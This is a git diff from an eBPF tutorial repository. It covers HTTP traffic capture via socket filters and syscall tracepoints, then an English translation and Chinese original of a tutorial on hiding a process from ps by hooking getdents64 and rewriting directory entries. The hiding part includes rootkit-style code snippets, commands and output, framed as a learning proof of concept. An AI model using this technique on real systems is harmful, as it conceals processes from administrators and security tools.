(setsockopt(sock, SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd))) { - err = -3; - fprintf(stderr, "Failed to attach to raw socket\n"); - goto cleanup; -} -``` - -1. `sock = open_raw_sock(interface);`: This line of code calls a custom function `open_raw_sock`, which is used to create a raw socket. Raw sockets allow a user-space application to handle network packets directly without going through the protocol stack. The `interface` parameter might specify the network interface from which to receive packets, determining where to capture packets from. If creating the socket fails, it returns a negative value, otherwise, it returns the file descriptor of the socket `sock`. -2. If the value of `sock` is less than 0, indicating a failure to open the raw socket, it sets `err` to -2 and prints an error message on the standard error stream. -3. `prog_fd = bpf_program__fd(skel->progs.socket_handler);`: This line of code retrieves the file descriptor of the socket filter program (`socket_handler`) previously defined in the eBPF program. It is necessary to attach this program to the socket. `skel` is a pointer to an eBPF program object, and it provides access to the program collection. -4. `setsockopt(sock, SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd))`: This line of code uses the `setsockopt` system call to attach the eBPF program to the raw socket. It sets the `SO_ATTACH_BPF` option and passes the file descriptor of the eBPF program to the option, letting the kernel know which eBPF program to apply to this socket. If the attachment is successful, the socket starts capturing and processing network packets received on it. -5. If `setsockopt` fails, it sets `err` to -3 and prints an error message on the standard error stream. - -### Compilation and Execution - -The complete source code can be found at . To compile and run the code: - -```console -$ git submodule update --init --recursive -$ make - BPF .output/sockfilter.bpf.o - GEN-SKEL .output/sockfilter.skel.h - CC .output/sockfilter.o - BINARY sockfilter -$ sudo ./sockfilter -... -``` - -In another terminal, start a simple web server using Python: - -```console -python3 -m http.server -Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... -127.0.0.1 - - [18/Sep/2023 01:05:52] "GET / HTTP/1.1" 200 - -``` - -You can use `curl` to make requests: - -```c -$ curl http://0.0.0.0:8000/ - - - - -Directory listing for / -.... -``` - -In the eBPF program, you can see that it prints the content of HTTP requests: - -```console -127.0.0.1:34552(src) -> 127.0.0.1:8000(dst) -payload: GET / HTTP/1.1 -Host: 0.0.0.0:8000 -User-Agent: curl/7.88.1 -... -127.0.0.1:8000(src) -> 127.0.0.1:34552(dst) -payload: HTTP/1.0 200 OK -Server: SimpleHTTP/0.6 Python/3.11.4 -... -``` - -It captures both request and response content. - -## Capturing HTTP Traffic Using eBPF Syscall Tracepoints - -eBPF provides a powerful mechanism for tracing system calls at the kernel level. In this example, we'll use eBPF to trace the `accept` and `read` system calls to capture HTTP traffic. Due to space limitations, we'll provide a brief overview of the code framework. - -```c -struct -{ - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, 4096); - __type(key, u64); - __type(value, struct accept_args_t); -} active_accept_args_map SEC(".maps"); - -// Define a tracepoint at the entry of the accept system call -SEC("tracepoint/syscalls/sys_enter_accept") -int sys_enter_accept(struct trace_event_raw_sys_enter *ctx) -{ - u64 id = bpf_get_current_pid_tgid(); - // ... Get and store the arguments of the accept call - bpf_map_update_elem(&active_accept_args_map, &id, &accept_args, BPF_ANY); - return 0; -} - -// Define a tracepoint at the exit of the accept system call -SEC("tracepoint/syscalls/sys_exit_accept") -int sys_exit_accept(struct trace_event_raw_sys_exit *ctx) -{ - // ... Process the result of the accept call - struct accept_args_t *args = - bpf_map_lookup_elem(&active_accept_args_map, &id); - // ... Get and store the socket file descriptor obtained from the accept call - __u64 pid_fd = ((__u64)pid << 32) | (u32)ret_fd; - bpf_map_update_elem(&conn_info_map, &pid_fd, &conn_info, BPF_ANY); - // ... -} - -struct -{ - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, 4096); - __type(key, u64); - __type(value, struct data_args_t); -} active_read_args_map SEC(".maps"); - -// Define a tracepoint at the entry of the read system call -SEC("tracepoint/syscalls/sys_enter_read") -int sys_enter_read(struct trace_event_raw_sys_enter *ctx) -{ - // ... Get and store the arguments of the read call - bpf_map_update_elem(&active_read_args_map, &id, &read_args, BPF_ANY); - return 0; -} - -// Helper function to check if it's an HTTP connection -static inline bool is_http_connection(const char *line_buffer, u64 bytes_count) -{ - // ... Check if the data is an HTTP request or response -} - -// Helper function to process the read data -static inline void process_data(struct trace_event_raw_sys_exit *ctx, - u64 id, const struct data_args_t *args, u64 bytes_count) -{ - // ... Process the read data, check if it's HTTP traffic, and send events - if (is_http_connection(line_buffer, bytes_count)) - { - // ... - bpf_probe_read_kernel(&event.msg, read_size, args->buf); - // ... - bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, - &event, sizeof(struct socket_data_event_t)); - } -} - -// Define a tracepoint at the exit of the read system call -SEC("tracepoint/syscalls/sys_exit_read") -int sys_exit_read(struct trace_event_raw_sys_exit *ctx) -{ - // ... Process the result of the read call - struct data_args_t *read_args = bpf_map_lookup_elem(&active_read_args_map, &id); - if (read_args != NULL) - { - process_data(ctx, id, read_args, bytes_count); - } - // ... - return 0; -} - -char _license[] SEC("license") = "GPL"; -``` - -This code briefly demonstrates how to use eBPF to trace system calls in the Linux kernel to capture HTTP traffic. Here's a detailed explanation of the hook locations and the flow, as well as the complete set of system calls that need to be hooked for comprehensive request tracing: - -### Hook Locations and Flow - -- The code uses eBPF Tracepoint functionality. Specifically, it defines a series of eBPF programs and binds them to specific system call Tracepoints to capture entry and exit events of these system calls. - -- First, it defines two eBPF hash maps (`active_accept_args_map` and `active_read_args_map`) to store system call parameters. These maps are used to track `accept` and `read` system calls. - -- Next, it defines multiple Tracepoint tracing programs, including: - - `sys_enter_accept`: Defined at the entry of the `accept` system call, used to capture the arguments of the `accept` system call and store them in the hash map. - - `sys_exit_accept`: Defined at the exit of the `accept` system call, used to process the result of the `accept` system call, including obtaining and storing the new socket file descriptor and related connection information. - - `sys_enter_read`: Defined at the entry of the `read` system call, used to capture the arguments of the `read` system call and store them in the hash map. - - `sys_exit_read`: Defined at the exit of the `read` system call, used to process the result of the `read` system call, including checking if the read data is HTTP traffic and sending events. - -- In `sys_exit_accept` and `sys_exit_read`, there is also some data processing and event sending logic, such as checking if the data is an HTTP connection, assembling event data, and using `bpf_perf_event_output` to send events to user space for further processing. - -### Complete Set of System Calls to Hook - -To fully implement HTTP request tracing, the system calls that typically need to be hooked include: - -- `socket`: Used to capture socket creation for tracking new connections. -- `bind`: Used to obtain port information where the socket is bound. -- `listen`: Used to start listening for connection requests. -- `accept`: Used to accept connection requests and obtain new socket file descriptors. -- `read`: Used to capture received data and check if it contains HTTP requests. -- `write`: Used to capture sent data and check if it contains HTTP responses. - -The provided code already covers the tracing of `accept` and `read` system calls. To complete HTTP request tracing, additional system calls need to be hooked, and corresponding logic needs to be implemented to handle the parameters and results of these system calls. - -The complete source code can be found at . - -## Summary - -In today's complex technological landscape, system observability has become crucial, especially in the context of microservices and cloud-native applications. This article explores how to leverage eBPF technology for tracing the seven-layer protocols, along with the challenges and solutions that may arise in this process. Here's a summary of the content covered in this article: - -1. **Introduction**: - - Modern applications often consist of multiple microservices and distributed components, making it essential to observe the behavior of the entire system. - - Seven-layer protocols (such as HTTP, gRPC, MQTT, etc.) provide detailed insights into application interactions, but monitoring these protocols can be challenging. - -2. **Role of eBPF Technology**: - - eBPF allows developers to dive deep into the kernel layer for real-time observation and analysis of system behavior without modifying or inserting application code. - - eBPF technology offers a powerful tool for monitoring seven-layer protocols, especially in a microservices environment. - -3. **Tracing Seven-Layer Protocols**: - - The article discusses the challenges of tracing seven-layer protocols, including their complexity and dynamism. - - Traditional network monitoring tools struggle with the complexity of seven-layer protocols. - -4. **Applications of eBPF**: - - eBPF provides two primary methods for tracing seven-layer protocols: socket filters and syscall tracing. - - Both of these methods help capture network request data for protocols like HTTP and analyze them. - -5. **eBPF Practical Tutorial**: - - The article provides a practical eBPF tutorial demonstrating how to capture and analyze HTTP traffic using eBPF socket filters or syscall tracing. - - The tutorial covers the development of eBPF programs, the use of the eBPF toolchain, and the implementation of HTTP request tracing. - -Through this article, readers can gain a deep understanding of how to use eBPF technology for tracing seven-layer protocols, particularly HTTP traffic. This knowledge will help enhance the monitoring and analysis of network traffic, thereby improving application performance and security. If you're interested in learning more about eBPF and its practical applications, you can visit our tutorial code repository at or our website at for more examples and complete tutorials. - -> The original link of this article: diff --git a/src/24-hide/.config b/src/24-hide/.config new file mode 100644 index 00000000..b3a374b4 --- /dev/null +++ b/src/24-hide/.config @@ -0,0 +1,2 @@ +level=Depth +type=Security diff --git a/src/24-hide/README.md b/src/24-hide/README.md index 06b4c3ff..781062ff 100644 --- a/src/24-hide/README.md +++ b/src/24-hide/README.md @@ -1,20 +1,22 @@ -# eBPF 开发实践:使用 eBPF 隐藏进程或文件信息 +# eBPF Practical Tutorial: Hiding Process or File Information -eBPF(扩展的伯克利数据包过滤器)是 Linux 内核中的一个强大功能,可以在无需更改内核源代码或重启内核的情况下,运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。 +eBPF (Extended Berkeley Packet Filter) is a powerful feature in the Linux kernel that allows you to run, load, and update user-defined code without having to change the kernel source code or reboot the kernel. This capability allows eBPF to be used in a wide range of applications such as network and system performance analysis, packet filtering, and security policies. -在本篇教程中,我们将展示如何利用 eBPF 来隐藏进程或文件信息,这是网络安全和防御领域中一种常见的技术。 +In this tutorial, we will show how eBPF can be used to hide process or file information, a common technique in the field of network security and defence. -## 背景知识与实现机制 +> The complete source code: -"进程隐藏" 能让特定的进程对操作系统的常规检测机制变得不可见。在黑客攻击或系统防御的场景中,这种技术都可能被应用。具体来说,Linux 系统中每个进程都在 /proc/ 目录下有一个以其进程 ID 命名的子文件夹,包含了该进程的各种信息。`ps` 命令就是通过查找这些文件夹来显示进程信息的。因此,如果我们能隐藏某个进程的 /proc/ 文件夹,就能让这个进程对 `ps` 命令等检测手段“隐身”。 +## Background Knowledge and Implementation Mechanism -要实现进程隐藏,关键在于操作 `/proc/` 目录。在 Linux 中,`getdents64` 系统调用可以读取目录下的文件信息。我们可以通过挂接这个系统调用,修改它返回的结果,从而达到隐藏文件的目的。实现这个功能需要使用到 eBPF 的 `bpf_probe_write_user` 功能,它可以修改用户空间的内存,因此能用来修改 `getdents64` 返回的结果。 +"Process hiding" enables a specific process to become invisible to the operating system's regular detection mechanisms. This technique can be used in both hacking and system defence scenarios. Specifically, each process on a Linux system has a subfolder named after its process ID in the /proc/ directory, which contains various information about the process. `ps` displays process information by looking in these folders. Therefore, if we can hide the /proc/ folder of a process, we can make that process invisible to `ps` commands and other detection methods. -下面,我们会详细介绍如何在内核态和用户态编写 eBPF 程序来实现进程隐藏。 +The key to achieving process hiding is to manipulate the `/proc/` directory. In Linux, the `getdents64` system call can read the information of files in the directory. We can hide files by hooking into this system call and modifying the results it returns. To do this, you need to use eBPF's `bpf_probe_write_user` function, which can modify user-space memory, and therefore can be used to modify the results returned by `getdents64`. -### 内核态 eBPF 程序实现 +In the following, we will describe in detail how to write eBPF programs in both kernel and user states to implement process hiding. -接下来,我们将详细介绍如何在内核态编写 eBPF 程序来实现进程隐藏。首先是 eBPF 程序的起始部分: +### Kernel eBPF Program Implementation + +Next, we will describe in detail how to write eBPF program to implement process hiding in kernel state. The first part of the eBPF programme is the start: ```c // SPDX-License-Identifier: BSD-3-Clause @@ -66,35 +68,35 @@ struct { } map_prog_array SEC(".maps"); ``` -我们首先需要理解这个 eBPF 程序的基本构成和使用到的几个重要组件。前几行引用了几个重要的头文件,如 "vmlinux.h"、"bpf_helpers.h"、"bpf_tracing.h" 和 "bpf_core_read.h"。这些文件提供了 eBPF 编程所需的基础设施和一些重要的函数或宏。 +The first thing we need to do is to understand the basic structure of the eBPF programme and the important components that are used. The first few lines reference several important header files, such as "vmlinux.h", "bpf_helpers.h", "bpf_tracing.h" and "bpf_core_read.h". These files provide the infrastructure needed for eBPF programming and some important functions or macros. -- "vmlinux.h" 是一个包含了完整的内核数据结构的头文件,是从 vmlinux 内核二进制中提取的。使用这个头文件,eBPF 程序可以访问内核的数据结构。 -- "bpf_helpers.h" 头文件中定义了一系列的宏,这些宏是 eBPF 程序使用的 BPF 助手(helper)函数的封装。这些 BPF 助手函数是 eBPF 程序和内核交互的主要方式。 -- "bpf_tracing.h" 是用于跟踪事件的头文件,它包含了许多宏和函数,这些都是为了简化 eBPF 程序对跟踪点(tracepoint)的操作。 -- "bpf_core_read.h" 头文件提供了一组用于从内核读取数据的宏和函数。 +- "vmlinux.h" is a header file containing the complete kernel data structures extracted from the vmlinux kernel binary. Using this header file, eBPF programs can access kernel data structures. +- The "bpf_helpers.h" header file defines a series of macros that encapsulate the BPF helper functions used by eBPF programs. These BPF helper functions are the main way that eBPF programs interact with the kernel. +- The "bpf_tracing.h" header file for tracing events contains a number of macros and functions designed to simplify the operation of tracepoints for eBPF programs. +- The "bpf_core_read.h" header file provides a set of macros and functions for reading data from the kernel. -程序中定义了一系列的 map 结构,这些 map 是 eBPF 程序中的主要数据结构,它们用于在内核态和用户态之间共享数据,或者在 eBPF 程序中存储和传递数据。 +The program defines a series of map structures, which are the main data structures in an eBPF program, and are used to share data between the kernel and the user, or to store and transfer data within the eBPF program. -其中,"rb" 是一个 Ringbuffer 类型的 map,它用于从内核向用户态传递消息。Ringbuffer 是一种能在内核和用户态之间高效传递大量数据的数据结构。 +Among them, "rb" is a map of type Ringbuffer, which is used to pass messages from the kernel to the userland; Ringbuffer is a data structure that can efficiently pass large amounts of data between the kernel and the userland. -"map_buffs" 是一个 Hash 类型的 map,它用于存储目录项(dentry)的缓冲区地址。 +"map_buffs" is a map of type Hash which is used to store buffer addresses for directory entries. -"map_bytes_read" 是另一个 Hash 类型的 map,它用于在数据循环中启用搜索。 +"map_bytes_read" is another Hash-type map that is used to enable searching in data loops. -"map_to_patch" 是另一个 Hash 类型的 map,存储了需要被修改的目录项(dentry)的地址。 +"map_to_patch" is another Hash type map that stores the address of the directory entry (dentry) that needs to be modified. -"map_prog_array" 是一个 Prog Array 类型的 map,它用于保存程序的尾部调用。 +"map_prog_array" is a map of type Prog Array, which is used to store the tail calls of a programme. -程序中的 "target_ppid" 和 "pid_to_hide_len"、"pid_to_hide" 是几个重要的全局变量,它们分别存储了目标父进程的 PID、需要隐藏的 PID 的长度以及需要隐藏的 PID。 +The "target_ppid" and "pid_to_hide_len" and "pid_to_hide" in the program are a few important global variables that store the PID of the target parent process, the length of the PID that needs to be hidden, and the PID that needs to be hidden, respectively. -接下来的代码部分,程序定义了一个名为 "linux_dirent64" 的结构体,这个结构体代表一个 Linux 目录项。然后程序定义了两个函数,"handle_getdents_enter" 和 "handle_getdents_exit",这两个函数分别在 getdents64 系统调用的入口和出口被调用,用于实现对目录项的操作。 +In the next part of the code, the program defines a structure called "linux_dirent64", which represents a Linux directory entry. The program then defines two functions, "handle_getdents_enter" and "handle_getdents_exit", which are called at the entry and exit of the getdents64 system call, respectively, and are used to implement operations on the directory entry. ```c // Optional Target Parent PID const volatile int target_ppid = 0; -// These store the string represenation +// These store the string representation // of the PID to hide. This becomes the name // of the folder in /proc/ const volatile int pid_to_hide_len = 0; @@ -132,23 +134,23 @@ int handle_getdents_enter(struct trace_event_raw_sys_enter *ctx) } ``` -在这部分代码中,我们可以看到 eBPF 程序的一部分具体实现,该程序负责在 `getdents64` 系统调用的入口处进行处理。 +In this section of the code, we can see part of the implementation of the eBPF program that is responsible for the processing at the entry point of the `getdents64` system call. -我们首先声明了几个全局的变量。其中 `target_ppid` 代表我们要关注的目标父进程的 PID。如果这个值为 0,那么我们将关注所有的进程。`pid_to_hide_len` 和 `pid_to_hide` 则分别用来存储我们要隐藏的进程的 PID 的长度和 PID 本身。这个 PID 会转化成 `/proc/` 目录下的一个文件夹的名称,因此被隐藏的进程在 `/proc/` 目录下将无法被看到。 +We start by declaring a few global variables. The `target_ppid` represents the PID of the target parent we want to focus on, and if this value is 0, then we will focus on all processes. `pid_to_hide_len` and `pid_to_hide` are used to store the length of the PID of the process we want to hide from, and the PID itself, respectively. This PID is translated into the name of a folder in the `/proc/` directory, so the hidden process will not be visible in the `/proc/` directory. -接下来,我们声明了一个名为 `linux_dirent64` 的结构体。这个结构体代表一个 Linux 目录项,包含了一些元数据,如 inode 号、下一个目录项的偏移、当前目录项的长度、文件类型以及文件名。 +Next, we declare a structure called `linux_dirent64`. This structure represents a Linux directory entry and contains metadata such as the inode number, the offset of the next directory entry, the length of the current directory entry, the file type, and the filename. -然后是 `getdents64` 函数的原型。这个函数是 Linux 系统调用,用于读取一个目录的内容。我们的目标就是在这个函数执行的过程中,对目录项进行修改,以实现进程隐藏。 +Then there is the prototype for the `getdents64` function. This function is a Linux system call that reads the contents of a directory. Our goal is to modify the directory entries during the execution of this function to enable process hiding. -随后的部分是 eBPF 程序的具体实现。我们在 `getdents64` 系统调用的入口处定义了一个名为 `handle_getdents_enter` 的函数。这个函数首先获取了当前进程的 PID 和线程组 ID,然后检查这个进程是否是我们关注的进程。如果我们设置了 `target_ppid`,那么我们就只关注那些父进程的 PID 为 `target_ppid` 的进程。如果 `target_ppid` 为 0,我们就关注所有进程。 +The subsequent section is the concrete implementation of the eBPF program. We define a function called `handle_getdents_enter` at the entry point of the `getdents64` system call. This function first gets the PID and thread group ID of the current process, and then checks to see if it is the process we are interested in. If we set `target_ppid`, then we only focus on processes whose parent has a PID of `target_ppid`. If `target_ppid` is 0, we focus on all processes. -在确认了当前进程是我们关注的进程之后,我们将 `getdents64` 系统调用的参数保存到一个 map 中,以便在系统调用返回时使用。我们特别关注 `getdents64` 系统调用的第二个参数,它是一个指向 `linux_dirent64` 结构体的指针,代表了系统调用要读取的目录的内容。我们将这个指针以及当前的 PID 和线程组 ID 作为键值对保存到 `map_buffs` 这个 map 中。 +After confirming that the current process is the one we are interested in, we save the arguments to the `getdents64` system call into a map to be used when the system call returns. In particular, we focus on the second argument to the `getdents64` system call, which is a pointer to the `linux_dirent64` structure representing the contents of the directory to be read by the system call. We save this pointer, along with the current PID and thread group ID, as a key-value pair in the `map_buffs` map. -至此,我们完成了 `getdents64` 系统调用入口处的处理。在系统调用返回时,我们将会在 `handle_getdents_exit` 函数中,对目录项进行修改,以实现进程隐藏。 +This completes the processing at the entry point of the `getdents64` system call. When the system call returns, we will modify the directory entry in the `handle_getdents_exit` function to hide the process. -在接下来的代码段中,我们将要实现在 `getdents64` 系统调用返回时的处理。我们主要的目标就是找到我们想要隐藏的进程,并且对目录项进行修改以实现隐藏。 +In the next snippet, we will implement the handling at the return of the `getdents64` system call. Our main goal is to find the process we want to hide and modify the directory entry to hide it. -我们首先定义了一个名为 `handle_getdents_exit` 的函数,它将在 `getdents64` 系统调用返回时被调用。 +We start by defining a function called `handle_getdents_exit` that will be called when the `getdents64` system call returns. ```c @@ -226,11 +228,11 @@ int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx) ``` -在这个函数中,我们首先获取了当前进程的 PID 和线程组 ID,然后检查系统调用是否读取到了目录的内容。如果没有读取到内容,我们就直接返回。 +In this function, we first get the PID and thread group ID of the current process, and then check to see if the system call has read the contents of the directory. If it didn't read the contents, we just return. -然后我们从 `map_buffs` 这个 map 中获取 `getdents64` 系统调用入口处保存的目录内容的地址。如果我们没有保存过这个地址,那么就没有必要进行进一步的处理。 +Then we get the address of the directory contents saved at the entry point of the `getdents64` system call from the `map_buffs` map. If we haven't saved this address, then there's no need to do any further processing. -接下来的部分有点复杂,我们用了一个循环来迭代读取目录的内容,并且检查是否有我们想要隐藏的进程的 PID。如果我们找到了,我们就用 `bpf_tail_call` 函数跳转到 `handle_getdents_patch` 函数,进行实际的隐藏操作。 +The next part is a bit more complicated, we use a loop to iteratively read the contents of the directory and check to see if we have the PID of the process we want to hide, and if we do, we use the `bpf_tail_call` function to jump to the `handle_getdents_patch` function to do the actual hiding. ```c SEC("tp/syscalls/sys_exit_getdents64") @@ -284,26 +286,26 @@ int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx) ``` -在 `handle_getdents_patch` 函数中,我们首先检查我们是否已经找到了我们想要隐藏的进程的 PID。然后我们读取目录项的内容,并且修改 `d_reclen` 字段,让它覆盖下一个目录项,这样就可以隐藏我们的目标进程了。 +In the `handle_getdents_patch` function, we first check to see if we have found the PID of the process we want to hide, and then we read the contents of the directory entry and modify the `d_reclen` field so that it overwrites the next directory entry, thus hiding our target process. -在这个过程中,我们用到了 `bpf_probe_read_user`、`bpf_probe_read_user_str`、`bpf_probe_write_user` 这几个函数来读取和写入用户空间的数据。这是因为在内核空间,我们不能直接访问用户空间的数据,必须使用这些特殊的函数。 +In this process, we use the functions `bpf_probe_read_user`, `bpf_probe_read_user_str`, and `bpf_probe_write_user` to read and write user-space data. This is because in kernel space, we can't access user space data directly and must use these special functions. -在我们完成隐藏操作后,我们会向一个名为 `rb` 的环形缓冲区发送一个事件,表示我们已经成功地隐藏了一个进程。我们用 `bpf_ringbuf_reserve` 函数来预留缓冲区空间,然后将事件的数据填充到这个空间,并最后用 `bpf_ringbuf_submit` 函数将事件提交到缓冲区。 +After we finish the hiding operation, we send an event to a ring buffer called `rb` indicating that we have successfully hidden a process. We reserve space in the buffer with the `bpf_ringbuf_reserve` function, then fill that space with the event's data, and finally commit the event to the buffer with the `bpf_ringbuf_submit` function. -最后,我们清理了之前保存在 map 中的数据,并返回。 +Finally, we clean up the data previously saved in the map and return. -这段代码是在 eBPF 环境下实现进程隐藏的一个很好的例子。通过这个例子,我们可以看到 eBPF 提供的丰富的功能,如系统调用跟踪、map 存储、用户空间数据访问、尾调用等。这些功能使得我们能够在内核空间实现复杂的逻辑,而不需要修改内核代码。 +This code is a good example of process hiding in an eBPF environment. Through this example, we can see the rich features provided by eBPF, such as system call tracing, map storage, user-space data access, tail calls, and so on. These features allow us to implement complex logic in kernel space without modifying the kernel code. -## 用户态 eBPF 程序实现 +## User-Style eBPF Programming -我们在用户态的 eBPF 程序中主要进行了以下几个操作: +We perform the following operations in the userland eBPF program: -1. 打开 eBPF 程序。 -2. 设置我们想要隐藏的进程的 PID。 -3. 验证并加载 eBPF 程序。 -4. 等待并处理由 eBPF 程序发送的事件。 +1. Open the eBPF program. +2. Set the PID of the process we want to hide. +3. Verify and load the eBPF program. +4. Wait for and process events sent by the eBPF program. -首先,我们打开了 eBPF 程序。这个过程是通过调用 `pidhide_bpf__open` 函数实现的。如果这个过程失败了,我们就直接返回。 +First, we open the eBPF application. This is done by calling the `pidhide_bpf__open` function. If this process fails, we simply return. ```c skel = pidhide_bpf__open(); @@ -314,7 +316,7 @@ int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx) } ``` -接下来,我们设置了我们想要隐藏的进程的 PID。这个过程是通过将 PID 保存到 eBPF 程序的 `rodata` 区域实现的。默认情况下,我们隐藏的是当前进程。 +Next, we set the PIDs of the processes we want to hide, which is done by saving the PIDs to the `rodata` area of the eBPF program. By default, we hide the current process. ```c char pid_to_hide[10]; @@ -328,7 +330,7 @@ int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx) skel->rodata->target_ppid = env.target_ppid; ``` -然后,我们验证并加载 eBPF 程序。这个过程是通过调用 `pidhide_bpf__load` 函数实现的。如果这个过程失败了,我们就进行清理操作。 +We then validate and load the eBPF program. This is done by calling the `pidhide_bpf__load` function. If this process fails, we perform a cleanup operation. ```c err = pidhide_bpf__load(skel); @@ -339,7 +341,7 @@ int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx) } ``` -最后,我们等待并处理由 eBPF 程序发送的事件。这个过程是通过调用 `ring_buffer__poll` 函数实现的。在这个过程中,我们每隔一段时间就检查一次环形缓冲区中是否有新的事件。如果有,我们就调用 `handle_event` 函数来处理这个事件。 +Finally, we wait for and process events sent by the eBPF program. This process is achieved by calling the `ring_buffer__poll` function. During this process, we check the ring buffer every so often for new events. If there is, we call the `handle_event` function to handle the event. ```c printf("Successfully started!\n"); @@ -361,9 +363,9 @@ while (!exiting) } ``` -`handle_event` 函数中,我们根据事件的内容打印了相应的消息。这个函数的参数包括一个上下文,事件的数据,以及数据的大小。我们首先将事件的数据转换为 `event` 结构体,然后根据 `success` 字段判断这个事件是否表示成功隐藏了一个进程,最后打 +In the `handle_event` function, we print the appropriate message based on the content of the event. The arguments to this function include a context, the data of the event, and the size of the data. We first convert the event data into an `event` structure, then determine if the event successfully hides a process based on the `success` field, and finally print the corresponding message. -印相应的消息。 +and then print the corresponding message. ```c static int handle_event(void *ctx, void *data, size_t data_sz) @@ -377,36 +379,28 @@ static int handle_event(void *ctx, void *data, size_t data_sz) } ``` -这段代码展示了如何在用户态使用 eBPF 程序来实现进程隐藏的功能。我们首先打开 eBPF 程序,然后设置我们想要隐藏的进程的 PID,再验证并加载 eBPF 程序,最后等待并处理由 eBPF 程序发送的事件。这个过程中,我们使用了 eBPF 提供的一些高级功能,如环形缓冲区和事件处理,这些功能使得我们能够在用户态方便地与内核态的 eBPF 程序进行交互。 - -完整源代码: +This code shows how to use the eBPF programme to hide a process in the user state. We first open the eBPF application, then set the PID of the process we want to hide, then validate and load the eBPF application, and finally wait for and process the events sent by the eBPF application. This process makes use of some advanced features provided by eBPF, such as ring buffers and event handling, which allow us to easily interact with the kernel state eBPF program from the user state. -> 本文所示技术仅为概念验证,仅供学习使用,严禁用于不符合法律法规要求的场景。 +Full source code: https: [//github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/24-hide](https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/24-hide) -## 编译运行,隐藏 PID +> The techniques shown in this paper are for proof of concept only and are intended for learning purposes only, and are not to be used in scenarios that do not comply with legal or regulatory requirements. -首先,我们需要编译 eBPF 程序: +## Compile and Run ```bash make ``` -然后,假设我们想要隐藏进程 ID 为 1534 的进程,可以运行如下命令: - ```sh sudo ./pidhide --pid-to-hide 1534 ``` -这条命令将使所有尝试读取 `/proc/` 目录的操作都无法看到 PID 为 1534 的进程。例如,我们可以选择一个进程进行隐藏: - ```console $ ps -aux | grep 1534 yunwei 1534 0.0 0.0 244540 6848 ? Ssl 6月02 0:00 /usr/libexec/gvfs-mtp-volume-monitor yunwei 32065 0.0 0.0 17712 2580 pts/1 S+ 05:43 0:00 grep --color=auto 1534 ``` -此时通过 ps 命令可以看到进程 ID 为 1534 的进程。但是,如果我们运行 `sudo ./pidhide --pid-to-hide 1534`,再次运行 `ps -aux | grep 1534`,就会发现进程 ID 为 1534 的进程已经不见了。 - ```console $ sudo ./pidhide --pid-to-hide 1534 Hiding PID 1534 @@ -422,8 +416,6 @@ Hid PID from program 31640 (ps) Hid PID from program 31649 (ps) ``` -这个程序将匹配这个 pid 的进程隐藏,使得像 `ps` 这样的工具无法看到,我们可以通过 `ps aux | grep 1534` 来验证。 - ```console $ ps -aux | grep 1534 root 31523 0.1 0.0 22004 5616 pts/2 S+ 05:42 0:00 sudo ./pidhide -p 1534 @@ -432,8 +424,8 @@ root 31525 0.3 0.0 3808 2456 pts/3 S+ 05:42 0:00 ./pidhide -p yunwei 31583 0.0 0.0 17712 2612 pts/1 S+ 05:42 0:00 grep --color=auto 1534 ``` -## 总结 +## Summary -通过本篇 eBPF 入门实践教程,我们深入了解了如何使用 eBPF 来隐藏进程或文件信息。我们学习了如何编写和加载 eBPF 程序,如何通过 eBPF 拦截系统调用并修改它们的行为,以及如何将这些知识应用到实际的网络安全和防御工作中。此外,我们也了解了 eBPF 的强大性,尤其是它能在不需要修改内核源代码或重启内核的情况下,允许用户在内核中执行自定义代码的能力。 +You can also visit our tutorial code repository [at https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) or our website [at https://eunomia.dev/zh/tutorials/](https://eunomia.dev/zh/tutorials/) for more examples and the full tutorial. -您还可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 +> The original link of this article: diff --git a/src/24-hide/README.zh.md b/src/24-hide/README.zh.md new file mode 100644 index 00000000..e8419214 --- /dev/null +++ b/src/24-hide/README.zh.md @@ -0,0 +1,439 @@ +# eBPF 开发实践:使用 eBPF 隐藏进程或文件信息 + +eBPF(扩展的伯克利数据包过滤器)是 Linux 内核中的一个强大功能,可以在无需更改内核源代码或重启内核的情况下,运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。 + +在本篇教程中,我们将展示如何利用 eBPF 来隐藏进程或文件信息,这是网络安全和防御领域中一种常见的技术。 + +## 背景知识与实现机制 + +"进程隐藏" 能让特定的进程对操作系统的常规检测机制变得不可见。在黑客攻击或系统防御的场景中,这种技术都可能被应用。具体来说,Linux 系统中每个进程都在 /proc/ 目录下有一个以其进程 ID 命名的子文件夹,包含了该进程的各种信息。`ps` 命令就是通过查找这些文件夹来显示进程信息的。因此,如果我们能隐藏某个进程的 /proc/ 文件夹,就能让这个进程对 `ps` 命令等检测手段“隐身”。 + +要实现进程隐藏,关键在于操作 `/proc/` 目录。在 Linux 中,`getdents64` 系统调用可以读取目录下的文件信息。我们可以通过挂接这个系统调用,修改它返回的结果,从而达到隐藏文件的目的。实现这个功能需要使用到 eBPF 的 `bpf_probe_write_user` 功能,它可以修改用户空间的内存,因此能用来修改 `getdents64` 返回的结果。 + +下面,我们会详细介绍如何在内核态和用户态编写 eBPF 程序来实现进程隐藏。 + +### 内核态 eBPF 程序实现 + +接下来,我们将详细介绍如何在内核态编写 eBPF 程序来实现进程隐藏。首先是 eBPF 程序的起始部分: + +```c +// SPDX-License-Identifier: BSD-3-Clause +#include "vmlinux.h" +#include +#include +#include +#include "common.h" + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +// Ringbuffer Map to pass messages from kernel to user +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); + +// Map to fold the dents buffer addresses +struct { + __uint(type, BPF_MAP_TYPE_HASH); + 